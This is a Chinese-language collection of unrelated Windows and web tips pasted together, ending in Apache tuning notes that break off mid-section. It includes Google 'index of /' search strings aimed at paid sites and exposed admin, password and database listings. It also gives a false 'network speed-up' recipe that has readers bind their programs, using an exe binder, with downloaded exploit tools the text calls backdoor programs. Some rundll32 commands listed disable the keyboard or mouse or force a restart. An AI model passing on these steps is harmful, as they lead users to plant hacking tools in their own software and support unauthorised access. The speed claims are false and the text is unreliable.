[括號內輸入要替換的提示符] 特殊的符號不能直接輸入,而必須用到指定代碼: $A & (短 and 符號) $B | (管道) $C ( (左括弧) $D 當前日期 $E Escape code (ASCII 碼 27) $F ) (右括弧) $G > (大于符號) $H Backspace (擦除前一個字符) $L < (小于符號) $N 當前驅動器 $P 當前驅動器及路徑 $Q = (等號) $S (空格) $T 當前時間 $V Windows XP 版本號 $_ 換行 $ $ (貨幣符號) 四、一勞永逸,讓命令符酷起來 結合上述方法,裝扮出來的命令提示符界面當然“眩目奪人”。但是每次想要SHOW的時候,都要重新輸入麻煩命令才行,有沒有一個一勞永逸的辦法呢?沒有辦不到的,只有想不到的,方法如下: “開始”-“運行”-“Regedit”,回車進入注冊表編輯器,依次展開HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor分支。在右側窗口中新建一名為“AutoRun”的字符串值,將其數值設為“prompt <$t $p$Q$$D$V$L$B$g>”,“<$t $p$Q$$D$V$L$B$g>”表示你想用的參數形式。例如我們想把命令行提示符變為:“(當前時間)俺叫你輸啥就輸啥>”的形式,就輸入“prompt $t 俺叫你輸啥就輸啥$g”。設置完畢后退出注冊表即生效。 附:command和cmd的區別:Windows 2000/XP提供了cmd.exe和command.com,cmd.exe是Windows NT命令行接口,它不是一個DOS窗口,而command.com是一個16位的DOS應用程序,它用于支持老的DOS應用程序。就用戶來說,這兩個命令有驚人的相似之處,這是因為用戶在command.com中輸入的命令有很大一部分要送到cmd.exe中運行。如果用戶運行command.com,用戶會在任務管理器中看到一個cmd.exe也在運行。 http://www.google.com/intl/zh-CN/ http://www.3721.com/ http://www.baidu.com/ 首先打開Google,在關鍵詞輸入框中輸入"index of/"inurl:lib(雙引號為英文狀態下),選擇“搜索簡體中文網頁”選項,回車搜索,得到了一些網頁,不要以為這是一些普通的頁面,其實它們是一些圖書網站的資源列表,點擊打開它來看看,怎么樣?是不是所有資源一收眼底了? 使用其他關鍵字可能得到更多的資源: 在搜索框上輸入:"index of /"cnki 再按搜索你就可以找到許多圖書館的CNKI、VIP、超星等入口! 在搜索框上輸入:"index of /" ppt 再按搜索你就可以突破網站入口下載powerpint作品! 在搜索框上輸入:"index of /"mp3 再按搜索你就可以突破網站入口下載mp3、rm等影視作品! 在搜索框上輸入:"index of /"swf 再按搜索你就可以突破網站入口下載flash作品! 在搜索框上輸入:"index of /"加上要下載的軟件名 再按搜索你就可以突破網站入口下載軟件! 在搜索框上輸入:"index of /"AVI 再按搜索你就可以突破網站入口下載AVI視頻 你會找到什么呢?同理,把AVI換為MPEG看看又會找到什么呢?呵呵!接下來不用我再教了吧?那就試一下你的手氣吧! "index of /" RMVB "index of /" WMA "index of /" MTV "index of /" MPEG 以下是百度搜索排名 1. index of mpeg4 3. index of mp3 4. index of cnki 5. index of rmvb 6. index of rm 7. index of movie 8. index of swf 9. index of jpg 10. index of admin 12. index of pdf 13. index of doc 14. index of wmv 15. index of mdb 16. index of mpg 17. index of mtv 18. index of software 19. index of mov 20. index of asf 23. index of lib 24. index of vod 25. index of rar 27. index of exe 28. index of iso 29. index of video 30. index of book 31. index of soft 32. index of chm 33. index of password 34. index of game 35. index of music 36. index of dvd 37. index of mid 38. index of ebook 40. index of download 到這里,大家也許都明白了,其實就是"index of /"這個關鍵詞在起的作用,使用它可以直接進入網站首頁下的所有文件和文件夾中,不必在通過HTTP的網頁形式了,從而避免了那些網站的限制,作到了突破限制下載。 怎么回事?點鼠標右鍵直接用網際快車下不了,都是網頁,鏈接地址是亂碼。別灰心懈氣,可以在新窗口中打開頁面中的超鏈接,真實地址不就出來了。下面就用馬克思ie(mxie)這個超級P2P共享資源搜索引擎幫你搞定收費網站。 馬克思ie簡體中文網址:http://cn.mxie.com/down.html http://cn.mxie.com/mxie0400Setup_cn.exe 馬克思ie(mxie) 軟件大小:3307KB 軟件語言:簡體中文 軟件類別:國產軟件/免費版/搜尋引擎 運行環境:Win9x/Me/NT/2000/XP 馬克思ie(mxie)是一個擁有網頁瀏覽器功能的超級P2P搜索引擎,完全免費!各種音樂、電影、動漫、小說、圖片等娛樂文件,一切你想得到的都可以找到!采用目前最為先進的多點P2P技術,搜尋到的就能下載到,絕對無死鏈!神奇的“越多人下載越高速”特性,充分挖掘你的帶寬潛力,保證高速!獨家裝備了強力防火墻穿透利器,即使在嚴密防護的企業防火墻后也能通行自如。 完全免費,永遠免費! 完全免費!永遠免費!馬克思ie(mxie)就是要把免費進行到底!奉行網絡上的馬克思主義,打造影音娛樂共產帝國! 編者自述:此方法采用獨特技巧,集成了網絡加速及穿透防火墻的P2P共享技術,能夠無限提升你的網速!----高手自然一點就透,對于菜鳥本人也不想浪費唇舌多作解釋,以下跟著灑家向前沖: 先下一個exe文件合成器“綠色分割{X} V3.1”: http://www.pcdog.com/soft/20205.htm http://www1.pcdog.com/down/Split3.1.rar 解壓到指定文件夾。再下一個加速軟件“speed4web”: Speed4WEB 可以幫忙你把瀏覽器的速度提升到原來的300%!程序使用簡單,提交小巧!功能強大! Speed4WEB V2.2.3.2 漢化版: http://www.yqdown.com/soft/675.htm http://km.yqdown.com:8989/UUAuth/wl...ed4WEB_v2.H.rar http://www2.pcdog.com/down4/HB_Speed4WEBV2.2.3.2.exe http://www.pcdog.com/down2/HB_Speed4WEBV2.2.3.2.exe 解壓安裝后點擊桌面圖標打開,在所有選項前均打勾(除了“總在頂部”),最小化令其運行。 點桌面圖標右鍵,點屬性,點查找目標,找出其真實應用文件“Speed4WEB.exe”,將它復制到指定文件夾。 選擇你最想加速的文件***:點桌面圖標右鍵,點屬性,點查找目標,找出其真實應用文件“***.exe”,復制到指定文件夾。 雙擊打開綠色分割,點“合并”,點“合并任意文件”,點+號依次選擇“***.exe、Speed4WEB.exe”,點“設置”,點“正常、分割完成后生成合并exe文件”,點“保存文件”選擇***文件原路徑,重命名為“***.exe”,點開始即可替換原“***.exe”。 注意:合并過程中***軟件不可使用,否則無法成功替換原***文件!也不可以關閉Speed4WEB! 再下一個共享資源搜索利器“馬克思ieV.0.4.0.0 最新版-- 馬克思ie簡體中文網址:http://cn.mxie.com/down.html http://cn.mxie.com/mxie0400Setup_cn.exe 解壓雙擊安裝后,以“馬克思ie(mxie)”為例,下載后重命名為“馬克思ie(mxie).exe”即可直接雙擊安裝,點桌面上剛剛生成的”馬克思ie(mxie)”圖標右鍵,點屬性,點查找目標,找出其真實應用文件“mxie.exe”,復制到指定文件夾。下面按步就搬即可。 以上方法經本人測試,適合于各式各樣五花八門的下載工具、游戲、瀏覽器以及其它一切與網絡相關的軟件。----這種合成的軟件同時運行的越多,網速愈快! 每個人上網的方式與寬帶限制都不一樣,有時候是電信局封了BT端口或用了掃描儀限制下載流量,請恕本人也無能為力了!用過馬克思ie的朋友仍然嫌慢的話,請打上下面的補丁 最新上傳漏洞通用工具 V1.0 http://soft.sq88.com/soft/537.htm http://download.sq88.com/hk/upld.rar 動網下載中心上傳漏洞利用工具 http://soft.sq88.com/soft/419.htm http://download.sq88.com/hk/dvup.rar 任意下載其中一個后門程序,解壓后即可見其中的兩個ActiveX控件“MSINET.OCX、MSWINSCK.OCX”,然后再用綠色分割合并即可。 好了,廢話少說。覺得有用請頂一下,并幫我多多轉貼,別小心眼偷懶呀! 當網上有半數人熟悉此法時,估計收費網站也要破產了! 其中"StrCommand"代表以下命令之一(使用Windows中的運行不要加引號): "rundll32 shell32,Control_RunDLL" - 運行控制面板 "rundll32 shell32,OpenAs_RunDLL" - 打開"打開方式"窗口 "rundll32 shell32,ShellAboutA Info-Box" - 打開"關于"窗口 "rundll32 shell32,Control_RunDLL desk.cpl" - 打開"顯示屬性"窗口 "rundll32 user,cascadechildwindows" - 層疊全部窗口 "rundll32 user,tilechildwindows" - 最小化所有的子窗口 "rundll32 user,repaintscreen" - 刷新桌面 "rundll32 shell,shellexecute Explorer" - 重新運行Windows Explorer "rundll32 keyboard,disable" - 鎖寫鍵盤 "rundll32 mouse,disable" - 讓鼠標失效 "rundll32 user,swapmousebutton" - 交換鼠標按鈕 "rundll32 user,setcursorpos" - 設置鼠標位置為(0,0) "rundll32 user,wnetconnectdialog" - 打開"映射網絡驅動器"窗口 "rundll32 user,wnetdisconnectdialog" - 打開"斷開網絡驅動器"窗口 "rundll32 user,disableoemlayer" - 顯示BSOD窗口, (BSOD) = Blue Screen Of Death, 即藍屏 "rundll32 diskcopy,DiskCopyRunDll" - 打開磁盤復制窗口 "rundll32 rnaui.dll,RnaWizard" - 運行"Internet連接向導", 如果加上參數"/1"則為silent模式 "rundll32 shell32,SHFormatDrive" - 打開"格式化磁盤(A)"窗口 "rundll32 shell32,SHExitWindowsEx -1" - 冷啟動Windows Explorer "rundll32 shell32,SHExitWindowsEx 1" - 關機 "rundll32 shell32,SHExitWindowsEx 0" - 退當前用戶 "rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重啟 "rundll32 krnl386.exe,exitkernel" - 強行退出Windows 9x(無確認) "rundll rnaui.dll,RnaDial "MyConnect" - 運行"網絡連接"對話框 "rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 選擇打印機和打印測試頁 "rundll32 user,setcaretblinktime" - 設置光標閃爍速度 "rundll32 user, setdoubleclicktime" - 測試鼠標雙擊速度 "rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP設備 控制面板中的各項功能 winexec('rundll32.exe shell32.dll, Control_RunDLL', 9); {輔助選項 屬性-鍵盤} winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 1', 9); {輔助選項 屬性-聲音} winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 2', 9); {輔助選項 屬性-顯示} winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 3', 9); {輔助選項 屬性-鼠標} winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 4', 9); {輔助選項 屬性-常規} winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 5', 9); {添加/刪除程序 屬性-安裝/卸載} winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 1', 9); {添加/刪除程序 屬性-Windows安裝程序} winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 2', 9); {添加/刪除程序 屬性-啟動盤} winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 3', 9); {顯示 屬性-背景} winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 0', 9); {顯示 屬性-屏幕保護程序} winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 1', 9); {顯示 屬性-外觀} winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 2', 9); {顯示 屬性-設置} winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 3', 9); {Internet 屬性-常規} winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 0', 9); {Internet 屬性-安全} winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 1', 9); {Internet 屬性-內容} winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 2', 9); {Internet 屬性-連接} winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 3', 9); {Internet 屬性-程序} winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 4', 9); {Internet 屬性-高級} winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 5', 9); {區域設置 屬性-區域設置} winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 0', 9); {區域設置 屬性-數字} winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 1', 9); {區域設置 屬性-貨幣} winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 2', 9); {區域設置 屬性-時間} winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 3', 9); {區域設置 屬性-日期} winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 4', 9); winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 0', 9); winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 1', 9); {鼠標 屬性} winexec('rundll32.exe shell32.dll, Control_RunDLL Main.cpl', 9); {多媒體 屬性-音頻} winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 0', 9); {多媒體 屬性-視頻} winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 1', 9); {多媒體 屬性-MIDI} winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 2', 9); {多媒體 屬性-CD音樂} winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 3', 9); {多媒體 屬性-設備} winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 4', 9); {調制解調器 屬性} winexec('rundll32.exe shell32.dll, Control_RunDLL Modem.cpl', 9); winexec('rundll32.exe shell32.dll, Control_RunDLL Netcpl.cpl', 9); {密碼 屬性} winexec('rundll32.exe shell32.dll, Control_RunDLL Password.cpl', 9); {掃描儀與數字相機 屬性} winexec('rundll32.exe shell32.dll, Control_RunDLL Sticpl.cpl', 9); {系統 屬性-常規} winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 0', 9); {系統 屬性-設備管理器} winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 1', 9); {系統 屬性-硬件配置文件} winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 2', 9); {系統 屬性-性能} winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 3', 9); {日期/時間 屬性} winexec('rundll32.exe shell32.dll, Control_RunDLL timedate.cpl', 9); {電源管理 屬性} winexec('rundll32.exe shell32.dll, Control_RunDLL Powercfg.cpl', 9); winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9); 關于調用后的判斷處理建議: 先聲明一個cardinal類型的變量RtnCardinal獲取返回值進行判斷如: RtnCardinal := winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9); 返回值 可能原因 0 程序超出內存 ERROR_BAD_FORMAT 程序為一個非法的Win32.EXE程序 ERROR_FILE_NOT_FOUND 指定文件沒找到 ERROR_PATH_NOT_FOUND 指定路徑沒找到 使用方法: 點擊“開始-程式-Ms-Dos方式”,進入Dos視窗,然後鍵入"rundll32.exe user.exe,restartwindows",再按下回車鍵,這時你將看到,機器被重啟了!怎么樣,是不是很有趣? 當然,Rundll的功能絕不僅僅是重啟你的機器。其實,Rundll者,顧名思義,執行Dll也,它的功能就是以命令列的方式呼叫Windows的動態鏈結庫,Rundll32.exe與Rundll.exe的區別就在於前者是呼叫32位的鏈結庫,而後者是運用於16位的鏈結庫,它們的命令格式是: RUNDLL.EXE ,, 這里要注意三點:1.Dll檔案名中不能含有空格,比如該檔案位於c:/Program Files/目錄,你要把這個路徑改成c:/Progra~1/;2.Dll檔案名與Dll入口點間的逗號不能少,否則程式將出錯并且不會給出任何資訊!3.這是最重要的一點:Rundll不能用來呼叫含返回值參數的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一條執行外部程式的指令Shell,格式為: Shell “命令列” 如果能配合Rundll32.exe用好Shell指令,會使您的VB程式擁有用其他方法難以甚至無法實現的效果:仍以重啟為例,傳統的方法需要你在VB工程中先建立一個模組,然後寫入WinAPI的聲明,最後才能在程式中呼叫。而現在只需一句: Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了? 實際上,Rundll32.exe在呼叫各種Windows控制面板和系統選項方面有著獨特的優勢。下面,我就將本人在因特網上收集的有關Rundll的指令列舉如下(很有用的,能省去你很多呼叫Windows API的時間!!),供大家在程式設計中引用: 命令列: rundll32.exe shell32.dll,Control_RunDLL 功能: 顯示控制面板 命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1 功能: 顯示“控制面板-輔助選項-鍵盤”選項視窗 命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2 功能: 顯示“控制面板-輔助選項-聲音”選項視窗 命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3 功能: 顯示“控制面板-輔助選項-顯示”選項視窗 命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4 功能: 顯示“控制面板-輔助選項-滑鼠”選項視窗 命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5 功能: 顯示“控制面板-輔助選項-傳統”選項視窗 命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1 功能: 執行“控制面板-添加新硬體”向導。 命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter 功能: 執行“控制面板-添加新印表機”向導。 命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1 功能: 顯示 “控制面板-添加/刪除程式-安裝/卸載” 面板。 命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2 功能: 顯示 “控制面板-添加/刪除程式-安裝Windows” 面板。 命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3 功能: 顯示 “控制面板-添加/刪除程式-啟動盤” 面板。 命令列: rundll32.exe syncui.dll,Briefcase_Create 功能: 在桌面上建立一個新的“我的公文包”。 命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll 功能: 顯示復制軟碟視窗 命令列: rundll32.exe apwiz.cpl,NewLinkHere %1 功能: 顯示“建立快捷方式”的對話框,所建立的快捷方式的位置由%1參數決定。 命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0 功能: 顯示“日期與時間”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1 功能: 顯示“時區”選項視窗。 命令列: rundll32.exe rnaui.dll,RnaDial [某個撥號連接的名稱] 功能: 顯示某個撥號連接的撥號視窗。如果已經撥號連接,則顯示目前的連接狀態的視窗。 命令列: rundll32.exe rnaui.dll,RnaWizard 功能: 顯示“新建撥號連接”向導的視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0 功能: 顯示“顯示屬性-背景”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1 功能: 顯示“顯示屬性-螢屏保護”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2 功能: 顯示“顯示屬性-外觀”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3 功能: 顯示顯示“顯示屬性-屬性”選項視窗。 命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder 功能: 顯示Windows的“字體”檔案夾。 命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3 功能: 同樣是顯示Windows的“字體”檔案夾。 命令列: rundll32.exe shell32.dll,SHformatDrive 功能: 顯示格式化軟碟對話框。 命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0 功能: 顯示“控制面板-游戲控制器-一般”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1 功能: 顯示“控制面板-游戲控制器-進階”選項視窗。 命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文檔) 功能: 列印HTML文檔。 命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl 功能: 顯示Microsoft Exchange一般選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0 功能: 顯示“控制面板-滑鼠” 選項 。 命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1 功能: 顯示 “控制面板-鍵盤屬性-速度”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1 功能: 顯示 “控制面板-鍵盤屬性-語言”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2 功能: 顯示Windows“印表機”檔案夾。 命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3 功能: 顯示Windows“字體”檔案夾。 命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4 功能: 顯示“控制面板-輸入法屬性-輸入法”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add 功能: 執行“添加新調制解調器”向導。 命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0 功能: 顯示“控制面板-多媒體屬性-音頻”屬性頁。 命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1 功能: 顯示“控制面板-多媒體屬性-視頻”屬性頁。 命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2 功能: 顯示“控制面板-多媒體屬性-MIDI”屬性頁。 命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3 功能: 顯示“控制面板-多媒體屬性-CD音樂”屬性頁。 命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4 功能: 顯示“控制面板-多媒體屬性-設備”屬性頁。 命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1 功能: 顯示“控制面板-聲音”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl 功能: 顯示“控制面板-網路”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl 功能: 顯示ODBC32資料管理選項視窗。 命令列: rundll32.exe shell32.dll,OpenAs_RunDLL 功能: 顯示指定檔案(drive:/path/filename)的“打開方式”對話框。 命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl 功能: 顯示“控制面板-密碼”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl 功能: 顯示“控制面板-電源管理屬性”選項視窗。 命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder 功能: 顯示Windows“印表機”檔案夾。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2) 命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0 功能: 顯示“控制面板-區域設置屬性-區域設置”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1 功能: 顯示“控制面板-區域設置屬性-數字”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2 功能: 顯示“控制面板-區域設置屬性-貨幣”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3 功能: 顯示“控制面板-區域設置屬性-時間”選項視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4 功能: 顯示“控制面板-區域設置屬性-日期”選項視窗。 命令列: rundll32.exe desk.cpl,InstallScreenSaver [螢屏保護檔案名] 功能: 將指定的螢屏保護檔案設置為Windows的屏保,并顯示螢屏保護屬性視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0 功能: 顯示“控制面板-系統屬性-傳統”屬性視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1 功能: 顯示“控制面板-系統屬性-設備管理器”屬性視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2 功能: 顯示“控制面板-系統屬性-硬體配置檔案”屬性視窗。 命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3 功能: 顯示“控制面板-系統屬性-性能”屬性視窗。 命令列: rundll32.exe user.exe,restartwindows 功能: 強行關閉所有程式并重啟機器。 命令列: rundll32.exe user.exe,exitwindows 功能: 強行關閉所有程式并關機。 命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl 功能: 顯示“撥號屬性”選項視窗 命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl 功能: 顯示“桌面主旨”選項面板 當然,不止是VisualBasic,象Delphi.VisualC++等其他程式設計語言也可以通過呼叫外部命令的方法來使用Rundll的這些功能,具體方法這里就不再詳細敘述了。靈活的使用Rundll,一定會使你的程式設計輕輕松松,達到事半功倍的效果! 巧用Rundll32安裝和卸載Windows程序 在Windows系統中安裝和卸載程序是件非常容易的事情,一般用戶通過安裝和卸載程序向導就能很輕松地完成。但安裝和卸載Windows程序還有些鮮為人知的小技巧,使用Rundll32命令安裝和卸載Windows程序就是其中之一,可能你從來還沒接觸過,下面我們就一起領略它的神奇功能吧! 提示:Rundll32.exe是 Windows系統提供的一個命令, 它用來調用32位的DLL函數(16位的DLL文件用Rundll.exe來調用。DLL文件是Windows的基礎,所有的API函數都是在DLL中實現的,它不能獨立運行,一般由進程加載并調用,運行DLL文件最簡單的方法是利用Rundll32.exe,它的命令格式是“Rundll32.exe 動態鏈接庫名 函數名 參數名”。 1.卸載微軟Java虛擬機 在Windows系統中,要想IE瀏覽器執行包含Java小程序的網頁,必須安裝微軟Java虛擬機(MSJVM),Windows 98/2000已經捆綁了MSJVM,Windows XP/2003中雖然已經剝離了微軟Java虛擬機,但還是可以手工安裝。不過,有個現實我們不得不面對:由于微軟和SUN公司的明爭暗斗,微軟已經停止對MSJVM的開發,因此很多用戶改用SUN公司提供的Java虛擬機。但微軟沒有提供MSJVM的卸載工具,使用Rundll32命令,我們可以輕松卸載MSJVM。 單擊“開始→運行”命令,在“運行”對話框中輸入“RunDll32 advpack.dll,LaunchINFSection java.inf,UnInstall”,回車后系統會打開“Microsoft VM uninstall”對話框,單擊“是(Y)”按鈕后,系統就會開始卸載微軟Java虛擬機,卸載完成后需要重新啟動系統。 接下來刪除“%systemroot%”(即Windows的安裝目錄,Windows 2000系統為 Winnt目錄,Windows XP/2003為Windows目錄)下的Java文件夾;“%systemroot%\inf”下的java.pnf文件,以及“%systemroot%\system32”下的jview.exe文件和wjview.exe文件。最后打開注冊表編輯器,依次展開[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\JavaVM]分支和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\JAVA_VM]分支,刪除這兩個分支下的所有子鍵。 提示:以上方法不適用Windows 98系統。 2.重新安裝Windows XP自帶的IE6.0 Windows系統的IE瀏覽器漏洞很多,最容易出現問題。有時無法解決,就只能重新安裝了。使用Rundll32命令可以很輕松地完成重新安裝工作。我們以重新安裝Windows XP中的IE6.0為例: 首先將Windows XP光盤插入光驅,然后單擊“開始→運行”命令,在“運行”對話框中輸入“Rundll32 setupapi,InstallHinfSection DefaultInstall 132 C:\windows\inf\ie.inf”命令,回車后系統會打開安裝進程對話框,開始重新安裝IE6.0。 提示:如果你的Windows XP系統不是安裝在C盤,請將 “C\Windows\Inf\Ie.inf” 修改為“%systemroot%\inf\ie.inf”。 3.卸載Windows Messenger 卸載Windows Messenger的方法很多,最常用的就是修改“Sysoc.inf”文件,但此方法比較復雜,使用Rundll32命令能很輕松完成卸載: 首先要確保已經關閉了Outlook和IE等Windows自帶的組件,然后單擊“開始→運行”,在“運行”對話框中輸入“RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove”命令,回車后系統會打開一個卸載對話框,單擊“是(Y)”按鈕后,系統就開始卸載Windows Messenger 程序。 以上只是簡單介紹如何使用Rundll32命令卸載和安裝Windows程序的幾個實例,還有很多Windows程序的安裝和卸載可以使用此方法,就不再詳細介紹了,請大家慢慢體會。 轉載(http://blog.china-pub.com/more.asp?name=anstan&id=11612) 讓APACHE的升級和PHP RESIN等應用模塊的升級完全互不影響。 摘要: WEB應用容量規劃:根據硬件配置和WEB應用的特點進行WEB服務的規劃及一些簡單的估算公式; APACHE安裝過程:apache的通用的簡化安裝選項,方便以后的應用的模塊化配置; 修改 HARD_SERVER_LIMIT: vi /path/to/apache_src/src/include/httpd.h #define HARD_SERVER_LIMIT 2560 <===將原來的 HARD_SERVER_LIMIT 256 后面加個“0” apache編譯: /path/to/apache_src/configure --prefix=/another_driver/apache --enable-shared=max --enable-module=most 可選應用模塊/工具的安裝:php resin mod_gzip mod_expire及各個模塊之間的配合; PHP安裝: /path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --enable-track-vars --with-other-modules-you-need mod_resin安裝: /path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs Mod_gzip安裝: /path/to/apache/bin/apxs -i -a -c mod_gzip.c 工具:cronolog安裝:http://www.cronolog.org 升級/維護:看看通用和模塊化的安裝過程如何簡化了日常的升級/維護工作; 按照以上的方法:系統管理員和應用管理員的職責可以清楚的分開,互相獨立。 系統安裝:系統管理員的職責就是安裝系統=>安裝好一臺可以適應任何情況的APACHE,然后COLON, 應用安裝:由應用管理員負責具體應用所需要的模塊并設置HTTPD。 系統升級:系統管理員:升級系統/升級APACHE 應用升級:系統管理員:升級應用模塊 具體的說明: WEB應用的容量規劃 APACHE主要是一個內存消耗型的服務應用,我個人總結的經驗公式: apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2 apache_max_process = apache_max_process_with_good_perfermance * 1.5 為什么會有一個apache_max_process_with_good_perfermance和apache_max_process呢?原因是在低負載下系統可以使用更多的內存用于文件系統的緩存,從而進一步提高單個請求的響應速度。在高負載下,系統的單個請求響應速度會慢不少,而超過apache_max_process,系統會因為開始使用硬盤做虛擬內存交換空間而導致系統崩潰。此外,同樣的服務:2G內存的機器的apache_max_process一般只設置到1G內存的1.7倍,因為APACHE本身會因為管理更多的進程而產生性能下降。 例子1: 一個apache + mod_php的服務器:一個apache進程一般需要4M內存 因此在一個1G內存的機器上:apache_max_process_with_good_perfermance < (1g / 4m) * 2 = 500 apache_max_process = 500 * 1.5 = 750 所以規劃你的應用讓服務盡量跑在500個APACHE以下,并設置APACHE的軟上限在800個。 例子2: 一個apache + mod_resin的服務器: 一個apache進程一般需要2M內存 在一個2G內存的機器上: apache_max_process_with_good_perfermance < (2g / 2m ) * 2 = 2000 因此:apache_max_process = 2000 * 1.5 = 3000 以上估算都是按小文件服務估算的(一個請求一般大小在20k以下)。對于文件下載類型站點,可能還會受其他因素:比如帶寬等的影響。 APACHE安裝過程 服務器個數的硬上限HARD_SERVER_LIMIT的修改: 